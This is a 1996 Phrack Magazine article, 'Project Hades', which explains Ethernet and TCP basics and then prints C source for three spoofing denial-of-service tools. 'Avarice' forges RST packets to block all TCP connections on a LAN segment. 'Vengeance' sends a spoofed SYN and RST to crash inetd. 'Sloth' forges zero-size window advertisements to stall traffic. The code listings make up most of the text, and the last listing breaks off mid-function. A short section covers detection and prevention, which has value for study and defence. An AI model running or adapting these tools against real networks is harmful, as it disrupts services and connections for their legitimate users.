home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / phrack2 / p49_07.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  36.4 KB  |  1,025 lines

  1.                              .oO Phrack Magazine Oo.
  2.  
  3.                           Volume Seven, Issue Forty-Nine
  4.  
  5.                                   File 07 of 16
  6.  
  7.                     [ Project Hades ]
  8.  
  9.                    Paper by daemon9 AKA route
  10.                       sourcecode by daemon9
  11.                    for Phrack Magazine
  12.               October 1996 Guild Productions, kid
  13.  
  14.                comments to route@infonexus.com
  15.  
  16.  
  17.         --[ Introduction ]--
  18.  
  19.  
  20.     More explorations of weaknesses in the most widely used transport
  21. protocol on the Internet.  Put your mind at rest fearful reader!  The 
  22. vulnerabilities outlined here are nowhere near the devastating nature of 
  23. Project Neptune/Poseidon.  
  24.  
  25.     Hades is the Greek god of the underworld; his kingdom is that of the 
  26. the Dead.  Hades renown for being quite evil and twisted.  He is also well
  27. known for his TCP exploit code.  Therefore, it seemed fitting to name this
  28. project after him.
  29.  
  30.     BTW, for this code to work (as with much of my previous code) your 
  31. kernel must be patched to be able to spoof packets.  DO NOT MAIL ME to ask how 
  32. to do it.
  33.  
  34.  
  35.         --[ Overview  ]--
  36.  
  37.  
  38.     Section I.    Ethernet background information    
  39.     Section II.    TCP background information
  40.     Section III.    Avarice
  41.     Section IV.    Vengeance
  42.     Section V.    Sloth
  43.     Section    VI.    Discussion, Detection, and Prevention
  44.  
  45. (Note that readers unfamiliar with the TCP/IP protocol suite may wish to first
  46. read ftp://ftp.infonexus.com/pub/Philes/NetTech/TCP-IP/tcipIp.intro.txt.gz)
  47.  
  48.  
  49.         Section I.    Ethernet Background information
  50.  
  51.  
  52.     Ethernet is a multi-drop, connectionless, unreliable link layer 
  53. protocol.  It (IEEE 802.3 Ethernet is the version I refer to) is the 
  54. link-layer protocol most LANs are based upon.  It is multidrop; each
  55. device on the ethernet shares the media (and, consequently, the bandwidth)
  56. with every other device.  It is connectionless; every frame is sent 
  57. independently of the previous one and next one.  It is unreliable; frames are 
  58. not acknowledged by the other end.  If a frame is received that doesn't pass 
  59. the checksum, it is silently discarded.  It is a link-layer protocol that sits
  60. underneath the network protocol (IP) and above the physical interface (varies,
  61. but often CAT3/5 UTP).
  62.  
  63.  
  64.                 --[ Signaling and Encoding ]--
  65.         
  66.  
  67.     Standard 802.3 Ethernet signals at 10 mega-bits per second using 
  68. Manchester encoding to order bits on the wire.  Manchester is a biphase 
  69. state-transition technique; to indicate a particular bit is on, a voltage 
  70. transition from low to high is used.  To indicate a bit is off, a high to low
  71. transition is used.  
  72.  
  73.  
  74.                 --[ Media Access ]--
  75.  
  76.  
  77.     Ethernet uses media contention to gain access to the shared wire.  The
  78. version of contention it uses is CSMA/CD (carrier sense multiple access / 
  79. collision detection).  This simply means that ethernet supports multiple 
  80. devices on a shared network medium.  Any device can send it's data whenever
  81. it thinks the wire is clear.  Collisions are detected (causing back-off and
  82. retry) but not avoided.  CSMA/CD algorithmically:
  83.  
  84. 1. IF:      the medium is idle -> transmit.
  85. 2. ELSE: the medium is busy -> wait and listen until idle -> transmit.
  86. 3. IF:     collision is detected -> transmit jamming signal, cease all 
  87.      transmission
  88. 4. IF:     jamming signal is detected -> wait a random amount of time, goto 1
  89.     
  90.  
  91.         --[ Broadcast Medium ]--
  92.  
  93.  
  94.     Since it is CSMA/CD technology, ethernet has the wonderful property
  95. that it hears everything on the network.  Under normal circumstances, an
  96. ethernet NIC will only capture and pass to the network layer packets that 
  97. boast it's own MAC (link-layer) address or a broadcast MAC address.  However, 
  98. it is trivial to place an Ethernet card into promiscuous mode where it will
  99. capture everything it hears, regardless to whom the frame was addressed.
  100.  
  101.     It bears mentioning that bridges are used to divide an ethernet into
  102. logically separate segments.  A bridge (or bridging device such as a smart 
  103. hub) will not pass an ethernet frame from segment to segment unless the 
  104. addressed host lies on the disparate segment.  This can reduce over-all 
  105. network load by reducing the amount of traffic on the wire.
  106.  
  107.  
  108.                 Section II.      TCP Background Information
  109.  
  110.  
  111.         TCP is a connection-oriented, reliable transport protocol.  TCP is
  112. responsible for hiding network intricacies from the upper layers.  A 
  113. connection-oriented protocol implies that the two hosts participating in a 
  114. discussion must first establish a connection before data may be exchanged.  In
  115. TCP's case, this is done with the three-way handshake.  Reliability can be 
  116. provided in a number of ways, but the only two we are concerned with are data 
  117. sequencing and acknowledgment.  TCP assigns sequence numbers to every byte in
  118. every segment and acknowledges all data bytes received from the other end.  
  119. (ACK's consume a sequence number, but are not themselves ACK'd.  That would be
  120. ludicrous.)  
  121.  
  122.  
  123.                 --[ TCP Connection Establishment ]--
  124.  
  125.  
  126.         In order to exchange data using TCP, hosts must establish a connection.
  127. TCP establishes a connection in a 3 step process called the 3-way handshake.
  128. If machine A is running a client program and wishes to connect to a server
  129. program on machine B, the process is as follows:
  130.  
  131.                         fig(1)
  132.        
  133.         1       A       ---SYN--->      B       
  134.  
  135.         2       A    <---SYN/ACK---     B
  136.  
  137.         3       A       ---ACK--->      B
  138.  
  139.                                 
  140.         At (1) the client is telling the server that it wants a connection.
  141. This is the SYN flag's only purpose.  The client is telling the server that 
  142. the sequence number field is valid, and should be checked.  The client will 
  143. set the sequence number field in the TCP header to it's ISN (initial sequence
  144. number).  The server, upon receiving this segment (2) will respond with it's 
  145. own ISN (therefore the SYN flag is on) and an Acknowledgment of the clients 
  146. first segment (which is the client's ISN+1).  The client then ACK's the 
  147. server's ISN (3).  Now data transfer may take place.
  148.  
  149.  
  150.               --[ TCP Control Flags  ]--
  151.  
  152.  
  153.         There are six TCP control flags. 
  154.  
  155. SYN:   Synchronize Sequence Numbers
  156.         The synchronize sequence numbers field is valid.  This flag is only 
  157. valid during the 3-way handshake.  It tells the receiving TCP to check the 
  158. sequence number field, and note it's value as the connection-initiator's 
  159. (usually the client) initial sequence number.  TCP sequence numbers can 
  160. simply be thought of as 32-bit counters.  They range from 0 to 4,294,967,295.
  161. Every byte of data exchanged across a TCP connection (along with certain 
  162. flags) is sequenced.  The sequence number field in the TCP header will contain
  163. the sequence number of the *first* byte of data in the TCP segment.  
  164.  
  165. ACK:   Acknowledgment
  166.         The acknowledgment number field is valid.  This flag is almost always
  167. set.   The acknowledgment number field in the TCP header holds the value of 
  168. the next *expected* sequence number (from the other side), and also 
  169. acknowledges *all* data (from the other side) up through this ACK number minus
  170. one.
  171.  
  172. RST:   Reset
  173.         Destroy the referenced connection.  All memory structures are torn 
  174. down.
  175.  
  176. URG:    Urgent 
  177.         The urgent pointer is valid.  This is TCP's way of implementing out
  178. of band (OOB) data.  For instance, in a telnet connection a `ctrl-c` on the 
  179. client side is considered urgent and will cause this flag to be set. 
  180.  
  181. PSH:    Push
  182.         The receiving TCP should not queue this data, but rather pass it to 
  183. the application as soon as possible.  This flag should always be set in 
  184. interactive connections, such as telnet and rlogin.
  185.  
  186. FIN:    Finish 
  187.         The sending TCP is finished transmitting data, but is still open to 
  188. accepting data.
  189.  
  190.  
  191.                 --[ Ports ]--
  192.  
  193.        
  194.         To grant simultaneous access to the TCP module, TCP provides a user 
  195. interface called a port.  Ports are used by the kernel to identify network 
  196. processes.  They are strictly transport layer entities.  Together with an 
  197. IP address, a TCP port provides an endpoint for network communications.  In 
  198. fact, at any given moment *all* Internet connections can be described by 4 
  199. numbers: the source IP address and source port and the destination IP 
  200. address and destination port.  Servers are bound to 'well-known' ports so 
  201. that they may be located on a standard port on different systems.  
  202. For example, the telnet daemon sits on TCP port 23.
  203.         
  204.  
  205.         Section III.    Avarice
  206.     
  207.  
  208.     Avarice is a SYN,RST generator.  It is designed to disallow any
  209. TCP traffic on the ethernet segment upon which it listens.  It works by
  210. listening for the 3-way handshake procedure to begin, and then immediately 
  211. resetting it.  The result is that no TCP based connections can be negotiated, 
  212. and therefore no TCP traffic can flow.  This version sits on a host, puts the 
  213. NIC into promiscuous mode and listens for connection-establishment requests.
  214. When it hears one, it immediately generates a forged RST packet and sends it 
  215. back to the client.  If the forged RST arrives in time, the client will quit 
  216. with a message like:
  217.  
  218.     telnet: Unable to connect to remote host: Connection refused
  219.  
  220. For the client to accept the RST, it must think it is an actual response from
  221. the server.  This requires 3 pieces of information: IP address, TCP port, and 
  222. TCP acknowledgment number.  All of this information is gleaned from the 
  223. original SYN packet:  the IP address of the destination host, the TCP port 
  224. of the listening process, and the clients ISN (the acknowledgment number in 
  225. the RST packet is the clients ISN+1, as SYN's consume a sequence number).
  226.  
  227.     This program has a wide range of effectiveness.  Speed is essential
  228. for avarice to quell all TCP traffic on a segment.  We are basically racing 
  229. the kernel.  OS kernels tend to be rather efficient at building packets.  If 
  230. run on a fast machine, with a fast kernel, it's kill rate is rather high.  
  231. I have seen kill-rates as high as 98% (occasionally a few slip through) on 
  232. a fast machine.  Consequently, if run on a slow machine, with a slow kernel, it
  233. will likely be useless.  If the RSTs arrive too late, they will be dropped by 
  234. the client, as the ACK number will be too low for the referenced connection.  
  235. Sure, the program could send, say, 10 packets, each with progressively higher 
  236. ACK numbers, but hey, this is a lame program...
  237.  
  238.  
  239.         Section IV.    Vengeance
  240.  
  241.  
  242.     Vengeance is an inetd killer.  On affected systems this program will
  243. cause inetd to become unstable and die after the next connection attempt.
  244. It sends a connection-request immediately followed by a RST to an internal 
  245. inetd managed service, such as time or daytime.  Inetd is now unstable and
  246. will die after the next attempt at a connection.  Simple.  Dumb.  Not eleet.
  247. (This inetd bug should be fixed or simply not present in newer inetd code.) 
  248.  
  249.     I did not add code to make the legitimate connection that would kill
  250. inetd to this simple little program for 2 reasons.  1) It's simply not worth 
  251. the complexity to add sequence number prediction to create a spoofed 3-way 
  252. handshake.  This program is too dinky.  2) Maybe the attacker would want 
  253. to leave inetd in a unstable state and let some legitimate user come along and
  254. kill it.  Who knows.  Who cares.  Blah.  I wash my hands of the whole affair.
  255.  
  256.  
  257.         Section V.    Sloth
  258.  
  259.  
  260.     "Make your ethernet feel like a lagged 28.8 modem link!"
  261.  
  262.     Sloth is an experiment.  It is an experiment in just how lame IP 
  263. spoofing can get.  It works much the same way avarice does, except it sends 
  264. forged TCP window advertisements.  By default Sloth will spoof zero-size 
  265. window advertisements which will have the effect of slowing interactive 
  266. traffic considerably.  In fact, in some instances, it will freeze a 
  267. connection all together.  This is because when a TCP receives a zero-size 
  268. window advertisement, it will stop sending data, and start sending window 
  269. probes (a window probe is nothing more than an ACK with one byte of 
  270. data) to see if the window size has increased.  Since window probes are, in 
  271. essence, nothing more than acknowledgements, they can get lost.  Because of 
  272. this fact, TCP implements a timer to cordinate the repeated sending of these 
  273. packets.  Window probes are sent according to the persist timer (a 500ms 
  274. timer) which is calculated by TCP's exponential backoff algorithm.  Sloth 
  275. will see each window probe, and spoof a 0-size window to the sender.  This 
  276. all works out to cause mass mayhem, and makes it difficult for either TCP to 
  277. carry on a legitimate conversation.  
  278.  
  279.     Sloth, like avarice, is only effective on faster machines.  It also
  280. only works well with interactive traffic.
  281.  
  282.         
  283.         Section    VI.    Discussion, Detection, and Prevention
  284.  
  285.  
  286.     Avarice is simply a nasty program.  What more do you want from me?
  287. Detection?  Detection would require an ounce of clue.  Do FTP, SMTP, HTTP, 
  288. POP, telnet, etc all suddenly break at the same time on every machine on 
  289. the LAN?  Could be this program.  Break out the sniffer.  Monitor the network 
  290. and look for the machine that generating the RSTs.  This version of the program
  291. does not spoof its MAC address, so look for that.  To really prevent this 
  292. attack, add cryptographic authentication to the TCP kernels on your machines.
  293.  
  294.     Vengeance is a wake-up call.  If you haven't patched your inetd to be
  295. resistant to this attack, you should now.  If your vendor hasn't been 
  296. forthcoming with a patch, they should now.  Detection is using this 
  297. program.  Prevention is a patch.  Prevention is disabling the internal inetd 
  298. services.
  299.  
  300.     Sloth can be detected and dealt with in much the same way as avarice.
  301.  
  302.     You may have noticed that these programs are named after three of
  303. the Seven Deadly Sins.  You may be wondering if that implies that there will 
  304. be four more programs of similar ilk.  Well, STOP WONDERING.  The answer is 
  305. NO.  I am officially *out* of the D.O.S. business.  I am now putting my efforts
  306. towards more productive ventures.  Next issue, a session jacker.
  307.  
  308.  
  309. This project made possible by a grant from the Guild Corporation.
  310.  
  311.  
  312. -------------------------------8<-------cut-me-loose--------------------------
  313.  
  314.  
  315. /*
  316.                             The Hades Project
  317.             Explorations in the Weakness of TCP
  318.                SYN -> RST generator
  319.                     (avarice)
  320.                                  v. 1.0
  321.  
  322.                         daemon9/route/infinity
  323.  
  324.                      October 1996 Guild productions
  325.  
  326.                      comments to route@infonexus.com
  327.  
  328.  
  329.    This coding project made possible by a grant from the Guild corporation
  330.  
  331. */
  332.  
  333. #include "lnw.h"
  334.  
  335. void main(){
  336.  
  337.     void reset(struct iphdr *,struct tcphdr *,int);
  338.  
  339.     struct epack{                /* Generic Ethernet packet w/o data payload */
  340.         struct ethhdr eth;        /* Ethernet Header */
  341.         struct iphdr ip;        /* IP header */
  342.         struct tcphdr tcp;        /* TCP header */
  343.     }epack;
  344.  
  345.     int sock,shoe,dlen;
  346.     struct sockaddr dest;
  347.     struct iphdr  *iphp;
  348.     struct tcphdr *tcphp;
  349.  
  350.     if(geteuid()||getuid()){
  351.                 fprintf(stderr,"UID or EUID of 0 needed...\n");
  352.                 exit(0);
  353.         }
  354.     sock=tap(DEVICE);        /* Setup the socket and device */
  355.  
  356.                 /* Could use the SOCK_PACKET but building Ethernet headers would
  357.                  require more time overhead; the kernel can do it quicker then me */
  358.     if((shoe=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
  359.                 perror("\nHmmm.... socket problems");
  360.                 exit(1);
  361.         }  
  362.     shadow();            /* Run as a daemon */ 
  363.     
  364.     iphp=(struct iphdr *)(((unsigned long)&epack.ip)-2);
  365.       tcphp=(struct tcphdr *)(((unsigned long)&epack.tcp)-2);   
  366.  
  367.        /* Network reading loop / RSTing portion */
  368.     while(1)if(recvfrom(sock,&epack,sizeof(epack),0,&dest,&dlen))if(iphp->protocol==IPPROTO_TCP&&tcphp->syn)reset(iphp,tcphp,shoe);
  369. }
  370.  
  371.  
  372. /*
  373.  *    Build a packet and send it off.
  374.  */
  375.  
  376. void reset(iphp,tcphp,shoe)
  377. struct iphdr *iphp;
  378. struct tcphdr *tcphp;
  379. int shoe;
  380. {
  381.        
  382.     void dump(struct iphdr *,struct tcphdr *);
  383.         
  384.         struct tpack{            /* Generic TCP packet w/o payload */
  385.                 struct iphdr ip;    
  386.                 struct tcphdr tcp;
  387.         }tpack;                
  388.         
  389.         struct pseudo_header{           /* For TCP header checksum */
  390.                 unsigned source_address;
  391.                 unsigned dest_address;
  392.                 unsigned char placeholder;
  393.                 unsigned char protocol;
  394.                 unsigned short tcp_length;
  395.                 struct tcphdr tcp;
  396.         }pheader;
  397.   
  398.        struct sockaddr_in sin;         /* IP address information */
  399.                                 /* Setup the sin struct with addressing information */
  400.           sin.sin_family=AF_INET;      /* Internet address family */
  401.         sin.sin_port=tcphp->dest;       /* Source port */
  402.         sin.sin_addr.s_addr=iphp->saddr;/* Dest. address */
  403.  
  404.                         /* Packet assembly begins here */
  405.         
  406.                                 /* Fill in all the TCP header information */
  407.  
  408.         tpack.tcp.source=tcphp->dest;   /* 16-bit Source port number */
  409.         tpack.tcp.dest=tcphp->source;   /* 16-bit Destination port */
  410.         tpack.tcp.seq=0;            /* 32-bit Sequence Number */
  411.         tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)+1);    /* 32-bit Acknowledgement Number */
  412.         tpack.tcp.doff=5;                  /* Data offset */
  413.         tpack.tcp.res1=0;                  /* reserved */
  414.         tpack.tcp.res2=0;                  /* reserved */
  415.           tpack.tcp.urg=0;                   /* Urgent offset valid flag */
  416.         tpack.tcp.ack=1;                   /* Acknowledgement field valid flag */
  417.         tpack.tcp.psh=0;                   /* Push flag */
  418.         tpack.tcp.rst=1;                   /* Reset flag */
  419.         tpack.tcp.syn=0;                   /* Synchronize sequence numbers flag */
  420.         tpack.tcp.fin=0;                   /* Finish sending flag */
  421.         tpack.tcp.window=0;         /* 16-bit Window size */
  422.         tpack.tcp.check=0;                 /* 16-bit checksum (to be filled in below) */
  423.         tpack.tcp.urg_ptr=0;               /* 16-bit urgent offset */
  424.         
  425.                                 /* Fill in all the IP header information */
  426.         
  427.         tpack.ip.version=4;                /* 4-bit Version */
  428.         tpack.ip.ihl=5;                    /* 4-bit Header Length */
  429.         tpack.ip.tos=0;                    /* 8-bit Type of service */
  430.         tpack.ip.tot_len=htons(IPHDR+TCPHDR);  /* 16-bit Total length */
  431.         tpack.ip.id=0;                 /* 16-bit ID field */
  432.         tpack.ip.frag_off=0;               /* 13-bit Fragment offset */
  433.         tpack.ip.ttl=64;            /* 8-bit Time To Live */
  434.         tpack.ip.protocol=IPPROTO_TCP;     /* 8-bit Protocol */
  435.         tpack.ip.check=0;                  /* 16-bit Header checksum (filled in below) */
  436.         tpack.ip.saddr=iphp->daddr;        /* 32-bit Source Address */
  437.         tpack.ip.daddr=iphp->saddr;        /* 32-bit Destination Address */
  438.         
  439.         pheader.source_address=(unsigned)tpack.ip.saddr;
  440.         pheader.dest_address=(unsigned)tpack.ip.daddr;
  441.         pheader.placeholder=0;
  442.          pheader.protocol=IPPROTO_TCP;
  443.         pheader.tcp_length=htons(TCPHDR);
  444.         
  445.                  /* IP header checksum */
  446.         
  447.           tpack.ip.check=in_cksum((unsigned short *)&tpack.ip,IPHDR);
  448.                 
  449.             /* TCP header checksum */
  450.                                 
  451.         bcopy((char *)&tpack.tcp,(char *)&pheader.tcp,TCPHDR);
  452.            tpack.tcp.check=in_cksum((unsigned short *)&pheader,TCPHDR+12);
  453.  
  454.     sendto(shoe,&tpack,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin));
  455. #ifndef QUIET
  456.     dump(iphp,tcphp);
  457. #endif
  458. }
  459.  
  460. /* 
  461.  *    Dumps some info...
  462.  */
  463.  
  464. void dump(iphp,tcphp)
  465. struct iphdr *iphp;
  466. struct tcphdr *tcphp;
  467. {
  468.     fprintf(stdout,"Connection-establishment Attempt: ");
  469.        fprintf(stdout,"%s [%d] --> %s [%d]\n",hostLookup(iphp->saddr),ntohs(tcphp->source),hostLookup(iphp->daddr),ntohs(tcphp->dest)); 
  470.     fprintf(stdout,"Thwarting...\n");
  471. }
  472.  
  473. -------------------------------8<-------cut-me-loose--------------------------
  474.  
  475. /*
  476.                             The Hades Project
  477.                     Explorations in the Weakness of TCP
  478.                               Inetd Killer
  479.                    (vengance)
  480.                                  v. 1.0
  481.  
  482.                         daemon9/route/infinity
  483.  
  484.                      October 1996 Guild productions
  485.  
  486.                      comments to route@infonexus.com
  487.  
  488.  
  489.    This coding project made possible by a grant from the Guild corporation
  490. */
  491.  
  492.  
  493. #include "lnw.h"
  494.  
  495. void main()
  496. {
  497.  
  498.     void s3nd(int,int,unsigned,unsigned short,unsigned);
  499.     void usage(char *);
  500.     unsigned nameResolve(char *);    
  501.  
  502.     int sock,mode,i=0;
  503.     char buf[BUFSIZE];
  504.     unsigned short port;
  505.     unsigned target=0,source=0;
  506.          char werd[]={"\n\n\n\nHades is a Guild Corporation Production.  c.1996\n\n"}; 
  507.  
  508.     if(geteuid()||getuid()){
  509.                 fprintf(stderr,"UID or EUID of 0 needed...\n");
  510.                 exit(0);
  511.         }
  512.  
  513.     if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
  514.                 perror("\nHmmm.... socket problems");
  515.                 exit(1);
  516.         }  
  517.  
  518.     printf(werd);
  519.  
  520.     printf("\nEnter target address-> ");
  521.         fgets(buf,sizeof(buf)-1,stdin);
  522.     if(!buf[1])exit(0);
  523.         while(buf[i]!='\n')i++;                 /* Strip the newline */
  524.         buf[i]=0;
  525.     target=nameResolve(buf);
  526.         bzero((char *)buf,sizeof(buf));
  527.  
  528.     printf("\nEnter source address to spoof-> ");
  529.         fgets(buf,sizeof(buf)-1,stdin);
  530.     if(!buf[1])exit(0);        
  531.     while(buf[i]!='\n')i++;                 /* Strip the newline */
  532.         buf[i]=0;
  533.     source=nameResolve(buf);
  534.         bzero((char *)buf,sizeof(buf));
  535.  
  536.     printf("\nEnter target port (should be 13, 37, or some internal service)-> ");
  537.         fgets(buf,sizeof(buf)-1,stdin);
  538.         if(!buf[1])exit(0);
  539.     port=(unsigned short)atoi(buf);
  540.     
  541.     fprintf(stderr,"Attempting to upset inetd...\n\n");
  542.  
  543.     s3nd(sock,0,target,port,source);    /* SYN */
  544.     s3nd(sock,1,target,port,source);    /* RST */
  545.  
  546.     fprintf(stderr,"At this point, if the host is vulnerable, inetd is unstable.\nTo verfiy: `telnet target.com {internal service port #}`.  Do this twice.\nInetd should allow the first connection, but send no data, then die.\nThe second telnet will verify t
  547.  
  548.  
  549.  
  550.  
  551.  
  552.  
  553.  
  554. his.\n"); 
  555. }
  556.  
  557. /*
  558.  *    Build a packet and send it off.
  559.  */
  560.  
  561. void s3nd(int sock,int mode,unsigned target,unsigned short port,unsigned source){
  562.        
  563.         struct pkt{
  564.                 struct iphdr ip;
  565.                 struct tcphdr tcp;
  566.         }packet;                
  567.         
  568.         struct pseudo_header{           /* For TCP header checksum */
  569.                 unsigned source_address;
  570.                 unsigned dest_address;
  571.                 unsigned char placeholder;
  572.                 unsigned char protocol;
  573.                 unsigned short tcp_length;
  574.                 struct tcphdr tcp;
  575.         }pseudo_header;
  576.   
  577.        struct sockaddr_in sin;         /* IP address information */
  578.                                 /* Setup the sin struct with addressing information */
  579.           sin.sin_family=AF_INET;      /* Internet address family */
  580.         sin.sin_port=666;           /* Source port */
  581.         sin.sin_addr.s_addr=target;      /* Dest. address */
  582.  
  583.                         /* Packet assembly begins here */
  584.         
  585.                                 /* Fill in all the TCP header information */
  586.         
  587.         packet.tcp.source=htons(666);            /* 16-bit Source port number */
  588.         packet.tcp.dest=htons(port);           /* 16-bit Destination port */
  589.         if(mode)packet.tcp.seq=0;            /* 32-bit Sequence Number */
  590.         else packet.tcp.seq=htonl(10241024);
  591.     if(!mode)packet.tcp.ack_seq=0;        /* 32-bit Acknowledgement Number */
  592.     else packet.tcp.ack_seq=htonl(102410000);
  593.         packet.tcp.doff=5;                  /* Data offset */
  594.         packet.tcp.res1=0;                  /* reserved */
  595.         packet.tcp.res2=0;                  /* reserved */
  596.           packet.tcp.urg=0;                   /* Urgent offset valid flag */
  597.         packet.tcp.ack=0;                   /* Acknowledgement field valid flag */
  598.         packet.tcp.psh=0;                   /* Push flag */
  599.         if(!mode)packet.tcp.rst=0;               /* Reset flag */
  600.         else packet.tcp.rst=1;
  601.     if(!mode)packet.tcp.syn=1;               /* Synchronize sequence numbers flag */
  602.     else packet.tcp.syn=0;
  603.         packet.tcp.fin=0;                   /* Finish sending flag */
  604.         packet.tcp.window=htons(512);         /* 16-bit Window size */
  605.         packet.tcp.check=0;                 /* 16-bit checksum (to be filled in below) */
  606.         packet.tcp.urg_ptr=0;               /* 16-bit urgent offset */
  607.         
  608.                                 /* Fill in all the IP header information */
  609.         
  610.         packet.ip.version=4;                /* 4-bit Version */
  611.         packet.ip.ihl=5;                    /* 4-bit Header Length */
  612.         packet.ip.tos=0;                    /* 8-bit Type of service */
  613.         packet.ip.tot_len=htons(IPHDR+TCPHDR);  /* 16-bit Total length */
  614.         packet.ip.id=0;                 /* 16-bit ID field */
  615.         packet.ip.frag_off=0;               /* 13-bit Fragment offset */
  616.         packet.ip.ttl=64;                      /* 8-bit Time To Live */
  617.         packet.ip.protocol=IPPROTO_TCP;     /* 8-bit Protocol */
  618.         packet.ip.check=0;                  /* 16-bit Header checksum (filled in below) */
  619.         packet.ip.saddr=source;           /* 32-bit Source Address */
  620.         packet.ip.daddr=target;           /* 32-bit Destination Address */
  621.         
  622.         pseudo_header.source_address=(unsigned)packet.ip.saddr;
  623.         pseudo_header.dest_address=(unsigned)packet.ip.daddr;
  624.         pseudo_header.placeholder=0;
  625.          pseudo_header.protocol=IPPROTO_TCP;
  626.         pseudo_header.tcp_length=htons(TCPHDR);
  627.         
  628.                  /* IP header checksum */
  629.         
  630.           packet.ip.check=in_cksum((unsigned short *)&packet.ip,IPHDR);
  631.                 
  632.             /* TCP header checksum */
  633.                                 
  634.         bcopy((char *)&packet.tcp,(char *)&pseudo_header.tcp,IPHDR);
  635.            packet.tcp.check=in_cksum((unsigned short *)&pseudo_header,TCPHDR+12);
  636.  
  637.     sendto(sock,&packet,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin));
  638. }
  639.  
  640. -------------------------------8<-------cut-me-loose--------------------------
  641.  
  642. /*
  643.                             The Hades Project
  644.                     Explorations in the Weakness of TCP
  645.                           TCP Window Starvation
  646.                                  (sloth)
  647.                                  v. 1.0
  648.  
  649.                         daemon9/route/infinity
  650.  
  651.                      October 1996 Guild productions
  652.  
  653.                      comments to route@infonexus.com
  654.  
  655.  
  656.    This coding project made possible by a grant from the Guild corporation
  657.  
  658. */
  659.  
  660.  
  661. #include "lnw.h"
  662.  
  663.     /* experiment with this value.  Different things happen with different sizes */
  664.  
  665. #define SLOTHWINDOW    0
  666.  
  667. void main(){
  668.  
  669.     void sl0th(struct iphdr *,struct tcphdr *,int);
  670.  
  671.     struct epack{                /* Generic Ethernet packet w/o data payload */
  672.         struct ethhdr eth;        /* Ethernet Header */
  673.         struct iphdr ip;        /* IP header */
  674.         struct tcphdr tcp;        /* TCP header */
  675.     }epack;
  676.  
  677.     int sock,shoe,dlen;
  678.     struct sockaddr dest;
  679.     struct iphdr  *iphp;
  680.     struct tcphdr *tcphp;
  681.  
  682.     if(geteuid()||getuid()){
  683.                 fprintf(stderr,"UID or EUID of 0 needed...\n");
  684.                 exit(0);
  685.         }
  686.     sock=tap(DEVICE);        /* Setup the socket and device */
  687.  
  688.                 /* Could use the SOCK_PACKET but building Ethernet headers would
  689.                  require more time overhead; the kernel can do it quicker then me */
  690.     if((shoe=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
  691.                 perror("\nHmmm.... socket problems");
  692.                 exit(1);
  693.         }  
  694.     shadow();            /* Run as a daemon */    
  695.  
  696.     iphp=(struct iphdr *)(((unsigned long)&epack.ip)-2);
  697.       tcphp=(struct tcphdr *)(((unsigned long)&epack.tcp)-2);   
  698.  
  699.        /* Network reading loop */
  700.     while(1)if(recvfrom(sock,&epack,sizeof(epack),0,&dest,&dlen))if(iphp->protocol==IPPROTO_TCP&&tcphp->ack)sl0th(iphp,tcphp,shoe);
  701. }
  702.  
  703.  
  704. /*
  705.  *    Build a packet and send it off.
  706.  */
  707.  
  708. void sl0th(iphp,tcphp,shoe)
  709. struct iphdr *iphp;
  710. struct tcphdr *tcphp;
  711. int shoe;
  712. {
  713.        
  714.     void dump(struct iphdr *,struct tcphdr *);
  715.         
  716.         struct tpack{            /* Generic TCP packet w/o payload */
  717.                 struct iphdr ip;    
  718.                 struct tcphdr tcp;
  719.         }tpack;                
  720.         
  721.         struct pseudo_header{           /* For TCP header checksum */
  722.                 unsigned source_address;
  723.                 unsigned dest_address;
  724.                 unsigned char placeholder;
  725.                 unsigned char protocol;
  726.                 unsigned short tcp_length;
  727.                 struct tcphdr tcp;
  728.         }pheader;
  729.   
  730.        struct sockaddr_in sin;         /* IP address information */
  731.                                 /* Setup the sin struct with addressing information */
  732.           sin.sin_family=AF_INET;      /* Internet address family */
  733.         sin.sin_port=tcphp->dest;       /* Source port */
  734.         sin.sin_addr.s_addr=iphp->saddr;/* Dest. address */
  735.  
  736.                         /* Packet assembly begins here */
  737.         
  738.                                 /* Fill in all the TCP header information */
  739.  
  740.         tpack.tcp.source=tcphp->dest;   /* 16-bit Source port number */
  741.         tpack.tcp.dest=tcphp->source;   /* 16-bit Destination port */
  742.         tpack.tcp.seq=htonl(ntohl(tcphp->ack_seq));    /* 32-bit Sequence Number */
  743.         tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq));    /* 32-bit Acknowledgement Number */
  744.         tpack.tcp.doff=5;                  /* Data offset */
  745.         tpack.tcp.res1=0;                  /* reserved */
  746.         tpack.tcp.res2=0;                  /* reserved */
  747.           tpack.tcp.urg=0;                   /* Urgent offset valid flag */
  748.         tpack.tcp.ack=1;                   /* Acknowledgement field valid flag */
  749.         tpack.tcp.psh=0;                   /* Push flag */
  750.         tpack.tcp.rst=0;                   /* Reset flag */
  751.         tpack.tcp.syn=0;                   /* Synchronize sequence numbers flag */
  752.         tpack.tcp.fin=0;                   /* Finish sending flag */
  753.         tpack.tcp.window=htons(SLOTHWINDOW);     /* 16-bit Window size */
  754.         tpack.tcp.check=0;                 /* 16-bit checksum (to be filled in below) */
  755.         tpack.tcp.urg_ptr=0;               /* 16-bit urgent offset */
  756.         
  757.                                 /* Fill in all the IP header information */
  758.         
  759.         tpack.ip.version=4;                /* 4-bit Version */
  760.         tpack.ip.ihl=5;                    /* 4-bit Header Length */
  761.         tpack.ip.tos=0;                    /* 8-bit Type of service */
  762.         tpack.ip.tot_len=htons(IPHDR+TCPHDR);  /* 16-bit Total length */
  763.         tpack.ip.id=0;                 /* 16-bit ID field */
  764.         tpack.ip.frag_off=0;               /* 13-bit Fragment offset */
  765.         tpack.ip.ttl=64;            /* 8-bit Time To Live */
  766.         tpack.ip.protocol=IPPROTO_TCP;     /* 8-bit Protocol */
  767.         tpack.ip.check=0;                  /* 16-bit Header checksum (filled in below) */
  768.         tpack.ip.saddr=iphp->daddr;        /* 32-bit Source Address */
  769.         tpack.ip.daddr=iphp->saddr;        /* 32-bit Destination Address */
  770.         
  771.         pheader.source_address=(unsigned)tpack.ip.saddr;
  772.         pheader.dest_address=(unsigned)tpack.ip.daddr;
  773.         pheader.placeholder=0;
  774.          pheader.protocol=IPPROTO_TCP;
